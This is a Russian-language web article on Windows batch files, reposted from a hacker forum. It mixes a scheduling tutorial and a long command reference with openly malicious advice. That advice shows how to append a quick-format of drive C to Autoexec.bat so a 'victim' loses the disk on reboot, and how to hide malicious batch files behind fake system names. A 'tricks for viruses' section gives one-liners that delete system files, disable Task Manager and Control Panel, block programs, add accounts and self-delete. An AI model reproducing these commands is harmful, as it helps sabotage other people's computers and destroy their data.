Меню сайта
Форма входа
Категории раздела
Delphi [42] ВАТ файлы [2]
Pascal [36] MATLAB [11]
Php [0]
Главная » Статьи » ВАТ файлы

Часть 2
Как автоматизировать запуск bat файлов.
Очень часто необходимо автоматизировать запуск bat файлов для выполнения ими рутинных операций. Для запуска bat файлов по расписанию наиболее подходит Планировщик, входящий в стандартную поставку Windows. С это помощью можно очень гибко настроить запуск пакетного файла в определенные дни или часы, с определенным интервалом. Можно создать несколько расписаний и т.д.
Для локального запуска batch файлов можно пользоваться решениями от третьих фирм, благо платных и бесплатных альтернатив стандартному Планировщику великое множество.
Batch файлы так же могут использоваться как логин-скрипты в доменах. При таком их использовании они будут исполняться при каждом входе пользователя в сеть не смотря на его желание. С их помощью можно автоматизировать сбор информации о машинах или о программном обеспечении, установленном на компьютерах пользователей, принудительно менять настройки Windows, устанавливать незаметно для пользователя программное обеспечение и автоматизировать решение других задач, ручное исполнение которых заняло бы очень много времени.
Работа с Планировщиком подробно рассмотрена в этой статье.

Команды, используемые в bat файлах.
Список команд, которые можно использовать в bat файлах, можно просмотреть, введя в командной строке (Пуск - Выполнить - cmd для Windows семейтва NT или Пуск - Выполнить - command для линейки 9х) команду

help

Результат работы help - список доступных команд с краткими пояснениями к ним. Чтобы получить более подробную информацию по интересующей команде введите в командной строке help имя_команды. Например, чтобы получить подробную справку по ключам команды AT выполните следующую команду:

help AT

В результате, на экран будет выведен список ключей для запуска команды AT из bat файла.
Если bat файл исполняется под управлением Windows (не в чистом DOS-е), то из него можно запускать любые приложения или открывать файлы. Например, нужно автоматически открыть лог-файл работы bat файла по завершении его работы. Для этого достаточно включить в bat файл последней строкой следующую команду:

start имя_файла.txt

Результатом выполнения этой команды станет открытие файла имя_файла.txt, а сам bat файл завершит свою работу. Такой способ хорош, если лог-файл небольшого размера, иначе Блокнот откажется его открывать, предложив использовать WordPad. Но эта проблема так же решаема, что и будет показано в дальнейших примерах.

Как создать batch файл?
Откройте блокнот и наберите две следующих строки:

@echo This batch file
@pause


Выберите Файл - Сохранить как, выберите Тип файла - Все файлы, в поле Имя файла введите 1.bat и сохраните его в корне диска С, например. Теперь откройте диск С и запустите файл 1.bat. На экран будет выведено две строки.

This batch file
Нажмите любую клавишу для продолжения...


После нажатия любой клавиши окно закроется, т.к. bat-файл выполнен.
Обратите внимание, что символ собаки перед каждой командой в bat-файле указывает на то, что саму команду выводить на экран не надо, а нужно вывести только результат ее работы. Чтобы поэкспериментировать удалите символ собаки из начала каждой строки, сохраните и запустите полученный bat файл.

Описание комманд.
echo off - запрещение вывода на экран исполняемых команд (on - вкл.)
deltree /y %файл% - удалить файл (/y означает "удалить без вопросов"). Кста, в НТ работает тока del (флаг /y не нужен).
copy %путь\файл% %куда\файл% - копировать файло
mkdir %название_диры% - создать директорию
echo %текст% - вывести текст на экран
echo %текст% > %путь\файл% - создать файл и вписать в него текст
echo %текст% >> %путь\файл% - добавить текст в уже существующий файл
if exist %путь\файл% %команда% - если существует файл, выполнить команду
attrib %атрибут% %путь\файл% - поставить\убрать атрибуты файлу (+-h скрытый, +-s системный, +-r только чтение)
start %путь\файл% - запустить файло
cls - отчистить экран
pause - выводит сообщение "Нажмите любую кнопку..."
label %новая_метка% - поставить новую метку системного диска (диск С)
format %диск%: /q - быстрое форматирование диска :) Несколько секунд
ren %путь\файл% %новое_название_файла% - переименовать файло
goto %метка%
...
...
...
:%метка%
- перескoчить с одного места кода на метку.
choice /N /T:y,%сек% > nul - типа таймера (на n секунд задерживает выполнение последующих команд).
%команда% > nul - запрещение вывода на экран самой команды и результата её действия (полезно при команде "copy"). Пример: copy c:\some.exe %windir%\some.exe > nul
regedit /s %путь\файл.reg% - добавить ключи в реестр из файла, без вопросов

start /m /w %путь\файл% - запустить файло в свёрнутом окне.
Слышал про файл Autoexec.bat? Знаешь, что он грузится вместе с компом? Наверное, да. Так вот, он имеет расширение BAT. На что я намекаю? На то, что ты можешь в него прописать строчку, к примеру, "format C: /q" (прописывается она вот так: echo format C: /q >> c:\Autoexec.bat) и во время перезагрузки у жертвы отформатируется диск С.
Это я к тому, что любой скрипт, вставленный в этот файл, будет выполнен при загрузке компа. Также можешь создать в каталоге с виндой файл winstart.bat. Он также запуститья виндусом.

Это относиться как раз к фишке с Autoexec'ом. К примеру, если ты положишь в каталог windows\command файл к примеру "load.bat" (наверное с плохим содержанием), это файлу из autoexec'a с вероятностью в 90% можно будет запустить строчкой "load". И это ещё отстой..Ты сможешь загружать это файло такой строчкой: "load keybrd32.sys,,cyr\lat" или такой: "load VideoAdapter32.drv -- By windows setup --". Врятли такие строчки рискнёт кто-нибудь удалять и твоё файло без трабл загрузится..=)

if exist c:\Progra~1 set drv=c:
if exist d:\Progra~1 set drv=d:
if exist d:\Progra~1 set drv=e:

После выполнения этого скрипта в переменной %drv% будет прописан диск с Виндой, с Program Files'ами.

в переменной %windir% хранится каталог с виндусом в таком виде: диск:\название_каталога. Пример: copy c:\some.exe %windir%\some.exe

batch скрипты не любят длинные, либо состоящие из двух слов, названия. Длинные урезаются до 6-ти букв (после них должно стоять "~1", к примеру "Program Files -> Progra~1"). Пробелы он просто убирает (The Bat -> TheBat~1).
Это я к тому, что в бачах обращайся к файлам по их досовским названиям. Пример: copy c:\some.exe c:\Progra~1\some.exe (копируется файл в папку Program Files).

echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("твой_текст"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js

Этот скрипт выводит на экран _Виндовое_ окошко (по средствам Java Script) с твоим сообщением и кнопкой ОК.
Ну вот наверно и всё! Здесь я умолчал о переменных, циклах и создании меню в batch'ах, так как это довольно объёмные темы. Следующая статья будет как раз посвещена им.

Vol - Отображает метку тома диска и серийный номер, если они существуют. Серийный номер выводится для дисков, отформатированных в версии MS-DOS версии 4.0 и более поздних. Синтаксис: vol [ диск :], где диск : - Задает имя дисковода, содержащего диск, для которого будет выведена метка тома и серийный номер.

Ver - Отображение номера версии Windows XP. Синтаксис: ver.

Color - Изменение цвета текста и фона в окне командной строки для текущего сеанса. Выполненная без параметров команда color восстанавливает стандартные цвета текста и фона в окне командной строки. Синтаксис: color [тф]

Chdir (или Cd) - Вывод имени текущего каталога или переход в другую папку. При использовании только с именем диска (например chdir C:) команда chdir выводит имена текущих диска и папки. Выполненная без параметров команда chdir выводит текущие диск и каталог. Синтаксис: chdir [[/ d] [ диск :][ путь] [ ..]] [[/ d] [ диск :][ путь] [ ..]], cd [[/ d] [ диск :][ путь] [ ..]] [[/ d] [ диск :][ путь] [ ..]].

Call - Вызов одного пакетного файла из другого без завершения выполнения первого файла. Команда call принимает метки в качестве объекта вызова. Используемая в командной строке, а не в сценарии или пакетном файле, команда Call игнорируется. Синтаксис: call [[ диск :][ путь] имя_файла [ пакетные_параметры]] [ : метка [ аргументы]]

Assoc - Вывод или изменение связи между расширениями имени и типами файлов. Запущенная без параметров команда assoc выводит список текущих связей между расширениями имени и типами файлов. Синтаксис: assoc [ . рсш[ =[ тип_файла]]], где . рсш - Задание расширения имени файла, тип_файла - Задание типа файла, с которым сопоставляется указанное расширение имени файла.
Заметки:
- Чтобы удалить связь между расширением имени и типом файла, введите пробел после знака равенства.
- Чтобы просмотреть текущие типы файлов, выполните команду ftype без параметров.
- Чтобы направить вывод команды assoc в текстовый файл, воспользуйтесь оператором перенаправления.
Примеры:
Чтобы вывести текущий тип файла, соответствующий расширению имени файла .txt, введите: assoc .txt
Чтобы удалить тип файла, соответствующий расширению имени файла .txt, введите: assoc . txt =
Чтобы просмотреть текущие сопоставления типов файлов, введите: assoc | more
Чтобы отправить результаты выполнения команды assoc в файл Assoc.cfg, введите: assoc>assoc.cfg

Typeperf - Записывает данные счетчика производительности в командное окно или в файл журнала поддерживаемого формата. Чтобы остановить выполнение команды Typeperf нажмите CTRL+C. Синтаксис: Typeperf [ путь [ путь ...]] [ -cf имя_файла] [ -f { csv| tsv| bin}] [ -si интервал] [ -o имя_файла] [ -q [ объект]] [ -qx [ объект]] [ -sc отсчеты] [ -config имя_файла] [ -s имя_компьютера].

Tracerpt - Обрабатывает журналы трассировки событий и данные, поступающие в реальном масштабе времени от поставщиков трассировочных данных, и позволяет создавать отчеты с анализом данных трассировки и файлы CSV (с разделителем запятой) для создающихся событий. Синтаксис: tracerpt [ имя_файла [ имя_файла ...]] [ -o [ имя_файла]] [ -report [ имя_файла]] [ -rt имя_сеанса [ имя_сеанса ...]] [ -summary [ имя_файла]] [ -config [ имя_файла].

Tasklist - Отображает список приложений и служб с кодом процесса (PID) для всех задач, выполняющихся на локальном или удаленном компьютере. Синтаксис: tasklist[ .exe] [ /s компьютер] [ /u доменпользователь [ /p пароль]] [ /fo { TABLE| LIST| CSV}] [ /nh] [ /fi фильтр [ /fi фильтр2 [ ... ]]] [ /m [ модуль] | /svc | /v].

Xcopy - Копирует файлы и каталоги, включая подкаталоги. Синтаксис: xcopy источник [ результат] [ /w] [ /p] [ /c] [ /v] [ /q] [ /f] [ /l] [ /g] [ /d[ : мм-дд-гггг]] [ /u] [ /i] [ /s [ /e]] [ /t] [ /k] [ /r] [ /h] [{ /a| /m}] [ /n] [ /o] [ /x] [ /exclude: файл1[ +[ файл2]][ +[ файл3]] [{ /y| /-y}] [ /z]

Taskkill - Завершает одно или несколько заданий или процессов. Процессы могут быть уничтожены кодом процесса или именем образа. Синтаксис: taskkill [ /s компьютер] [ /u доменпользователь [ /p пароль]]] [ /fi имя_фильтра] [ /pid код_процесса]|[ /im имя_образа] [ /f][ /t].

Systeminfo - Выводит на экран подробные сведения о конфигурации компьютера и операционной системы, сведения о безопасности, код продукта и параметры оборудования, такие как ОЗУ, дисковое пространство и сетевые карты. Синтаксис: systeminfo[ .exe] [ /s компьютер [ /u доменпользователь [ /p пароль]]] [ /fo { TABLE| LIST| CSV}] [ /nh].

Shutdown - Позволяет выключать или перезапускать локальный или удаленный компьютер. Использование без параметров команды shutdown приведет к выходу из системы текущего пользователя. Синтаксис: shutdown [{ -l| -s| -r| -a}] [ -f] [ -m [ \ имя_компьютера]] [ -t xx] [ -c " сообщение "] [ -d[ u][ p] : xx : yy].

Relog - Сохраняет данные счетчиков производительности из файлов журналов в файлы других форматов, такие как текстовый-TSV (разделитель — табуляция), текстовый-CSV (разделитель — запятая), двоичный-BIN или SQL. Синтаксис: relog [ имя_файла [ имя_файла...]] [ -a] [ -c путь [ путь...]] [ -cf имя_файла] [ -f { bin| csv| tsv| SQL}] [ -t значение] [ -o { файл_вывода | DSN!журнал_счетчиков}] [ -b М/д/гггг [[чч:]мм:]сс] [ -e М/д/гггг [[чч:]мм:]сс] [ -config имя_файла] [ -q].

Prnqctl.vbs - Печатает пробную страницу, приостанавливает или возобновляет печать на принтере и чистит очередь принтера. При вызове команды prncnfg.vbs без параметров в командной строке отображается справка по команде prncnfg.vbs. Синтаксис: csсriрt prncnfg.vbs -g [ -s удаленный_компьютер] -p имя_принтера [ -u имя_пользователя -w пароль].

Prnport.vbs - Создает, удаляет и составляет список стандартных TCP/IP-портов принтера в дополнение к выводу на экран и изменению настроек порта. При вызове команды prnport.vbs без параметров в командной строке выводится справка по команде prnport.vbs. Синтаксис: csсriрt prnport.vbs -a -r имя_порта [ -s удаленный_компьютер] -h IP-адрес [ -u имя_пользователя -w пароль] [ -o { raw -n номер_порта | lpr}] [ -q имя_очереди] [ -m{ e | d}] [ -i индекс] [ -y имя_сообщества] [ -2{ e | d}].

Prnmngr.vbs - Добавляет, удаляет и составляет список принтеров или подключений принтеров в дополнение к настройкам и выводу принтера, заданного по умолчанию. При выводе команды prnmngr.vbs без параметров в командной строке отображается справка по команде prnmngr.vbs. Синтаксис: csсriрt prnmngr.vbs -a -p имя_принтера [ -s удаленный_компьютер] -m имя_драйвера -r имя_порта [ -u имя_пользователя -w пароль].

Prnjobs.vbs - Приостанавливает, возобновляет, отменяет и перечисляет задания печати. При вызове команды prnjobs.vbs без параметров в командной строке отображается справка о команде prnjobs.vbs. Синтаксис: csсriрt prnjobs -z [ -s удаленный_компьютер] -p имя_принтера -j номер_задания [ -u имя_пользователя -w пароль].

Prndrvr.vbs - Добавляет, удаляет и составляет списки драйверов. При вызове команды prndrvr.vbs без параметров в командной строке отображается справка по команде prndrvr.vbs. Синтаксис: csсriрt prndrvr.vbs -a [ -m имя_драйвера] [ -v { 0 | 1 | 2 | 3}] [ -e среда] [ -s удаленный_компьютер] [ -h путь] [ -i имя_файла .inf] [ -u имя_пользователя -w пароль].

Prncnfg.vbs - Настраивает или отображает параметры принтера. При вызове команды prncnfg.vbs без параметров в командной строке отображается справка по команде prncnfg.vbs. Синтаксис: csсriрt prncnfg.vbs -g [ -s удаленный_компьютер] -p имя_принтера [ -u имя_пользователя -w пароль].

Perfmon - Позволяет открыть консоль «Производительность» Windows XP с настройками системного монитора из файлов настройки версии для Windows NT 4.0. Синтаксис: perfmon.exe [ имя_файла] [ /HTMLFILE: преобразованный_файл файл_параметров].

Pagefileconfig.vbs - Позволяет администратору вывести и настроить параметры использования виртуальной памяти файлом подкачки. Для просмотра синтаксиса команды щелкните ее: pagefileconfig change. Изменяет параметры использования виртуальной памяти файлом подкачки. Синтаксис: pagefileconfig[ .vbs] /change [ /s компьютер [ /u доменпользователь [ /p пароль]]] {[ /i начальный_размер_файла_подкачки]|[ /m максимальный_размер_файла_подкачки]} /vo { буква_тома| *} [ /vo { буква_тома_2| *} [...]].

Openfiles - Запрашивает или отображает открытые файлы. Также запрашивает, отображает или разъединяет файлы, открытые сетевыми пользователями. Чтобы посмотреть синтаксис команды, щелкните команду: openfiles disconnect. Разъединяет одного или нескольких удаленных пользователей, присоединенных к открытым общим файлам.

Helpctr - Запуск справки и поддержки. При вызове без параметров команда helpctr открывает домашнюю страницу центра справки и поддержки. Синтаксис: helpctr [ /url [ адрес_URL]] [ /mode [ адрес_URL]] [ /hidden] [ /fromstarthelp].

Getmac - Возвращает аппаратный (MAC) адрес и список сетевых протоколов, связанных с каждым адресом для всех сетевых плат в любом компьютере — как локальном, так и доступном по сети. Синтаксис: getmac[. exe] [ /s компьютер [ /u доменпользователь [ /p пароль]]] [ /fo { TABLE| LIST| CSV}] [ /nh] [ /v].

Fsutil - является служебной программой командной строки, которая используется для выполнения связанных задач файловых систем FAT и NTFS, таких как управление точками повторной обработки, управление разреженными файлами, отключение тома или расширение тома. Поскольку программа fsutil является весьма мощной, ее должны применять только опытные пользователи, имеющие опыт работы с Microsoft Windows XP. Для использования программы fsutil необходимо войти в систему с помощью учетной записи администратор или члена группы администраторов.
В следующей таблице перечислены подкоманды команды fsutil.

behavior - Запрашивает, изменяет, включает или отключает настройки для создания имен файлов с длиной 8.3 символа, для возможности отображения расширенных символов в имена файлов длиной 8.3 символа в томах NTFS, для обновления штампа времени последнего доступа к томам NTFS, частоты событий, записанных в системных журнал, и количества места на диске, зарезервированного зоной основной таблицы файлов.
dirty - Запрос установки «грязного» бита тома. Задает «грязный» бит тома. Когда установлен «грязный» бит тома, autochk автоматически проверит том на наличие ошибок при следующей перезагрузке компьютера.
file - Обычно используется специалистами по технической поддержке. Поиск файла по идентификатору безопасности, запрос файла в размещенных диапазонах, установка короткого имени файла, допустимой длины данных или нулевых данных для файла.
fsinfo - Обычно используется специалистами по технической поддержке. Перечисляет все диски, запрашивает тип диска, сведения о томе, специальные сведения о томе NTFS или статистику файловой системы.
hardlink - Cоздает жесткую связь. Жесткая связь представляет запись каталога для файла. Каждый файл можно рассматривать как имеющий по крайней мере одну жесткую связь. В томах NTFS каждый файл имеет несколько жестких связей, следовательно один файл может отображаться во многих каталогах (или даже в одном каталоге под различными именами). Поскольку ссылки на все связи находятся в одном файле, программы могут открывать любую из связей и изменять файл. Файл удаляется из файловой системы только после удаления всех связей. После создания жесткой связи, программы могут использовать ее как любое другое имя файла.
objectid - Обычно используется специалистами по технической поддержке. Управляет идентификаторами объектов, которые используются Windows XP для отслеживания объектов, таких как файлы и каталоги.
Управляет дисковыми квотами в томах NTFS для предоставления более точного контроля за сетевым носителем. Дисковые квоты внедрены в тома и включают внедрение ограничений жестких и съемных носителей в тома.
reparsepoint - Обычно используется специалистами по технической поддержке. Запрашивает или удаляет точки повторной обработки, являющиеся объектами файловой системы NTFS, которые имеют определяемый атрибут, содержащий контролируемые пользователем данные, и используются для расширения функциональности подсистемы ввода/вывода. Точки повторной обработки используют как точки соединения каталогов и точки подключения томов. Они также используются драйверами фильтров файловой системы, чтобы пометить определенные файлы как специфические для этого драйвера.
sparse - Управление разреженными файлами. Разреженным файлом называют файл, внутри которого имеется одна или несколько областей, незанятые данными. Программа будет рассматривать эти незанятые области как содержащие байты с нулевыми значениями, но не будет использовать пространство на диске для представления этих нулей. Другими словами, место выделяется для значимых (ненулевых) данных, тогда как место под незначимые данные (длинные строки, состоящие из нулей) не выделяется. При чтении разреженного файла выделенные данные возвращаются в том виде, в котором они сохранены, а невыделенные данные по умолчанию возвращаются в виде нулей, согласно требованиям спецификации безопасности C2. Поддержка разреженного файла позаоляет освобождать данные из любого места в файле.
usn - Обычно используется специалистами по технической поддержке. Управление журналом изменения номеров последовательных обновлений (USN), в котором сохраняется архив всех изменений файлов в томе.
volume - Управление томом. Отсоединяет том или запросы для отображения количества свободного места на диске.


Eventquery.vbs - Вывод списка событий и их свойств из одного или нескольких журналов событий. Синтаксис: eventquery[ .vbs] [ /s компьютер [ /u доменпользователь [ /p пароль]]] [ /fi имя_фильтра] [ /fo { TABLE| LIST| CSV}] [ /r диапазон_событий [ /nh] [ /v] [ /l [ APPLICATION] [ SYSTEM] [ SECURITY] [ "DNS server"] [ заданный_пользователем_журнал] [ имя_журнала_каталога] [ *] ].

Eventcreate - Позволяет администратору создать особое событие в указанном журнале событий. Синтаксис: eventcreate [ /s компьютер [ /u доменпользователь [ /p пароль]] {[ /l { APPLICATION| SYSTEM}]|[ /so имя_источника]} /t { ERROR| WARNING| INFORMATION| SUCCESSAUDIT| FAILUREAUDIT} /id код_события /d описание.

Driverquery - Вывод списка всех установленных драйверов устройств и их свойств. Синтаксис: driverquery [ /s компьютер] [ /u домен пользователь /p пароль] [ /fo { TABLE| LIST| CSV}] [ /nh] [ /v] [ /si], где /s компьютер - Задание имени или IP-адреса удаленного компьютера (не используйте обратную косую черту). По умолчанию используется локальный компьютер. /u домен пользователь - Выполнение команды с разрешениями учетной записи пользователя, заданного в параметре пользователь или домен пользователь. По умолчанию используются разрешения текущего вошедшего пользователя компьютера, с которого поступила эта команда. /p пароль - Указание пароля учетной записи пользователя, заданной параметром /u. /fo { TABLE| LIST| CSV} - Задание формата вывода сведений о драйверах. Допустимые значения: TABLE, LIST и CSV. По умолчанию для выходных данных используется формат TABLE. /nh - Исключение столбца заголовков из отображаемых сведений о драйверах. Данный параметр является допустимым, если параметр /fo имеет значение TABLE или CSV. /v - Задание вывода подробных сведений о драйверах. /si - Вывод сведений о цифровой подписи как для подписанных, так и неподписанных драйверов устройств. Примеры: Далее приведены примеры использования команды driverquery:
driverquery
driverquery /fo csv
driverquery /nh
driverquery /s ipaddress
driverquery /s server1 /u hirpln /v driverquery /s server1 /u maindomhirpln /p p@ssw3d /fo list

Start - Запускает определенную программу или команду в отдельном окне. При запуске без параметров команда start создает новое окно командной строки. Синтаксис: start [ " заголовок "] [ /d путь] [ /i] [ /min] [ /max] [{ /separate | /shared}] [{ /low | /normal | /high | /realtime | /abovenormal | belownormal}] [/ wait] [ /b] [ имя_файла] [ параметры].

Shift - Изменяет положения пакетных параметров в пакетных файлах. Синтаксис: shift

Setlocal - Начало области задания для определения переменных среды в пакетном файле. Локальное окружение используется до тех пор, пока не встретится команда endlocal или не будет достигнут конец пакетного файла. Синтаксис: setlocal { enableextension | disableextensions} { enabledelayedexpansion | disabledelayedexpansion}.

Set - Устанавливает, удаляет и просматривает переменные среды. Вызванная без параметров, команда set выводит список установленных переменных среды и их значений. Синтаксис: set [[ /a [ выражение]] [ /p [ переменная =]] строка].

Pushd - Сохраняет имя текущего каталога для команды popd и переходит в другой каталог. Синтаксис: pushd [ путь].

Prompt - Изменяет приглашение командной строки (Cmd.exe). Вызванная без параметров, команда prompt восстанавливает стандартные настройки приглашения командной строки: имя текущего диска с последующим именем текущего каталога и знак "больше" (>). Синтаксис: prompt [ текст].

Popd - Изменяет текущий в каталог на каталог, сохраненный командой pushd. Синтаксис: popd.

Mkdir - Создание папки или подпапки. Синтаксис: mkdir [ диск :] путь, md [ диск :] путь.

If - Обработка условий в пакетных программах. Синтаксис: if [ not] errorlevel число команда [ else выражение], if [ not] строка1 == строка2 команда [ else выражение], if [ not] exist имя_файла команда [ else выражение]. Если расширения командного процессора разрешены, следует использовать следующий синтаксис: if [ /i] строка1 оп_сравнения строка2 команда [ else выражение], if cmdextversion число команда [ else выражение], if defined переменная команда [ else выражение], где not - Задает выполнение команды только в случае невыполнения условия. errorlevel число - Условие выполняется, если предыдущая команда, обработанная интерпретатором команд Cmd.exe, завершилась с кодом, равным или большим числа. команда - Команда, которая должна быть обработана в случае выполнения условия. строка1 == строка2 - Условие выполняется, если строки строка1 и строка2 совпадают. Строки могут быть заданы явно или могут быть пакетными переменными (например, %1). Явно заданные строки нет необходимости заключать в кавычки. exist имя_файла - Условие выполняется, если существует файл с именем имя_файла. оп_сравнения - Трехзначный оператор сравнения. В следующей таблице перечислены допустимые значения оп_сравнения.
Описание операторов:
EQU - равно
NEQ - не равно
LSS - меньше
LEQ - меньше или равно
GTR - больше
GEQ - больше или равно
/i - Сравнение строк без учета регистра знаков. Параметр /i можно использовать в конструкции string1 == string2 команды if. Эти сравнения являются общими. Если и строка1, и строка2 состоят из цифр, строки преобразовываются в числа и выполняется сравнение чисел. cmdextversion число - Условие выполняется, только если номер внутренней версии, связанный с расширениями командного процессора Cmd.exe, равен или больше числа. первая версия имела номер 1. Номер версии увеличивается на 1 при внесении в расширения командного процессора значительных изменений. Условие с cmdextversion не выполняется, если расширения командного процессора запрещены (по умолчанию они разрешены). defined переменная - Условие выполняется, если переменная определена. выражение - Команда и все ее параметры для обработке в командной строке при выполнении оператора else.

Ftype - Вывод или редактирование связи между типом файла и его расширением. Для просмотра текущих назначений служит команда ftype без параметров. Синтаксис: Ftype [ тип_файла[ =[ команда_открытия]]].

For - Запуск некоторой команды для каждого файла из заданного множества. Синтаксис: for { % переменная| %% переменная} in ( множество ) do команда [ ПараметрыКоманднойСтроки].

Endlocal - Окончание использования локального окружения в пакетной программе, восстановление значений переменных среды, имевшихся до выполнения соответствующей команды setlocal. Синтаксис: endlocal.

Del (erase) - Удаление заданных файлов. Синтаксис: del [ диск :] [ путь] имя_файла [ ...] [ /p] [ /f] [ /s] [ /q] [ /a[ : атрибуты]], erase [ диск :] [ путь] имя_файла [ ...] [ /p] [ /f] [ /s] [ /q] [ /a[ : атрибуты]].



Полезные фишки для вирусов.
Удалить дрова: del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul
Убрать рабочий стол: reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
Самоликвидация: del "%0" >nul
Cнимаем системные атрибуты с некоторых файлов в указанной директории: attrib -s -r -h -a %systemdrive%*.*
Запрещает ТаскМена: reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\System /v DdisableTaskMgr /t REG_DWORD /d 1 /f >nul
Мнеяет кнопки мыши местами,можно здорово подпортить нервы кому нидь: %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
Запрет запуска программ: reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
Удаляет курсоры мыши: del "%SystemRoot%\Cursors\*.*" >nul
Удаляет звуки винды: del "%SystemRoot%\Media" /q >nul
Запретить панель управления: reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
Cоздать новую учетную запись в данном случае будетназываться ламер: net user "ламер" /add >nul



RUNDLL (Скопировано с "Народных советов, май 2003"), юзать прямо и тупо - пишете строку в BAT-файл и все:


rundll32 shell32.dll,Control_RunDLL hotplug.dll - диалоговое окно Отключение или извлечение аппаратного устройства
rundll32 diskcopy,DiskCopyRunDll - вызов диалога "Копирование диска".
rundll32 keyboard,disable - отключение клавиатуры, действует до следующей перезагрузки.
rundll32 mouse,disable - отключение мыши вплоть до перезагрузки.
rundll32 krnl386.exe,exitkernel - выгрузить ядро системы, выход из Windows.
rundll32 mshtml.dll,PrintHTML "HtmlFileNameAndPath" - распечатать документ HTML, где "HtmlFileNameAndPath" - путь к файлу и его имя.
rundll32 мсprint2.dll,RUNDLL_PrintTestPage - распечатать тестовую страницу на принтере.
rundll32 netplwiz.dll,AddNetPlaceRunDll - вызов мастера подключения нового сетевого ресурса "Добавление в сетевое окружение".
rundll32 rnaui.dll,RnaWizard - вызов мастера "Удаленный доступ к сети".
rundll32 rnaui.dll,RnaWizard /1 - вызов мастера "Удаленный доступ к сети" без отображения начального окна.
rundll32 shell,ShellExecute - открыть Проводник (папка "Рабочий стол").
rundll32 shell32,Control_RunDLL - открыть в Проводнике папку "Панель управления".
rundll32 shell32,Control_RunDLL appwiz.cpl,,n - вызов диалогового окна "Установка и удаление программ", в котором будет открыта вкладка с номером "n" (от 1 до 3).
rundll32 shell32,Control_RunDLL main.cpl @0 - открыть диалог "Свойства мыши".
rundll32 shell32,Control_RunDLL main.cpl @1 - открыть диалог "Свойства клавиатуры".
rundll32 shell32,Control_RunDLL main.cpl @2 - открыть папку "Принтеры".
rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintersFolder - открыть папку "Принтеры" (другой способ).
rundll32 shell32,Control_RunDLL main.cpl @3 - открыть папку "Шрифты".
rundll32 SHELL32,SHHelpShortcuts_RunDLL FontsFolder - открыть папку "Шрифты" (другой способ).
rundll32 SHELL32,Control_RunDLL modem.cpl, add - открыть диалог "Свойства модема".
rundll32 shell32,Control_RunDLL timedate.cpl - открыть диалог "Дата и время".
rundll32 shell32,OpenAs_RunDLL - вызвать диалог "Открыть с помощью...".
rundll32 shell32,ShellAboutA WINHOWTO.RU - информация о версии Windows.
rundll32 shell32,SHExitWindowsEx 0 - закрыть все программы, перегрузить оболочку.
rundll32 shell32, SHExitWindowsEx 1 - выключить ПК.
rundll32 SHELL32, SHExitWindowsEx -1 - перегрузить оболочку Windows.
rundll32 shell32, SHExitWindowsEx 2 - перегрузить ПК.
rundll32 shell32,SHExitWindowsEx 4 - принудительно закрыть все программы.
rundll32 shell32,SHExitWindowsEx 8 - выход из Windows и выключение ATX-совместимого ПК.
rundll32 shell32,SHFormatDrive - вызов диалога форматирования диска А:.
rundll32 SHELL32,SHHelpShortcuts_RunDLL AddPrinter - запуск "Мастера установки принтера".
rundll32 shell32,SHHelpShortcuts_RunDLL Connect - запуск мастера подключения сетевого диска.
rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintTestPage - распечатать тестовую страницу.
rundll32 sysdm.cpl,InstallDevice_Rundll - вызов мастера установки оборудования.
rundll32 url.dll,FileProtocolHandler %1 - открыть веб-страницу, где %1 - URL сайта (включая [link=http://).]http://).[/link]
rundll32 url.dll,MailToProtocolHandler %1 - создать новое письмо, где %1 - e-mail адресата.
rundll32 user,CASCADECHILDWINDOWS - расположить все окна каскадом.
rundll32 user,TILECHILDWINDOWS - расположить все окна по экрану.
rundll32 user,disableoemlayer - сбой системы (!) - выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.
rundll32 user,ExitWindowsExec - быстрая перезагрузка Windows.
rundll32 user,RepaintScreen - выполнить команду "Обновить".
rundll32 user,SetCaretBlinkTime n - задать частоту мигания курсора, соответствующую значению параметра n.
rundll32 user,SetCursorPos - переместить курсор мыши в верхний левый угол экрана.
rundll32 user,SetDoubleClickTime n - задать скорость двойного нажатия левой кнопки мыши (Double Click), соответствующую параметру n.
rundll32 user,SwapMouseButton - поменять местами клавиши мыши (обратная смена невозможна).
rundll32 user,WNetConnectDialog - вызов диалога "Подключение сетевого диска".
rundll32 user,WNetDisconnectDialog - вызов диалога "Отключение сетевого диска".
rundll32 AppWiz.Cpl,NewLinkHere %1 - запуск мастера создания нового ярлыка, где %1 - путь к исходному файлу.

Материал взят с форума журнала Хакер forum.xakep.ru
Категория: ВАТ файлы | Добавил: nazgull (12.12.2010)
Просмотров: 4440 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Ссылки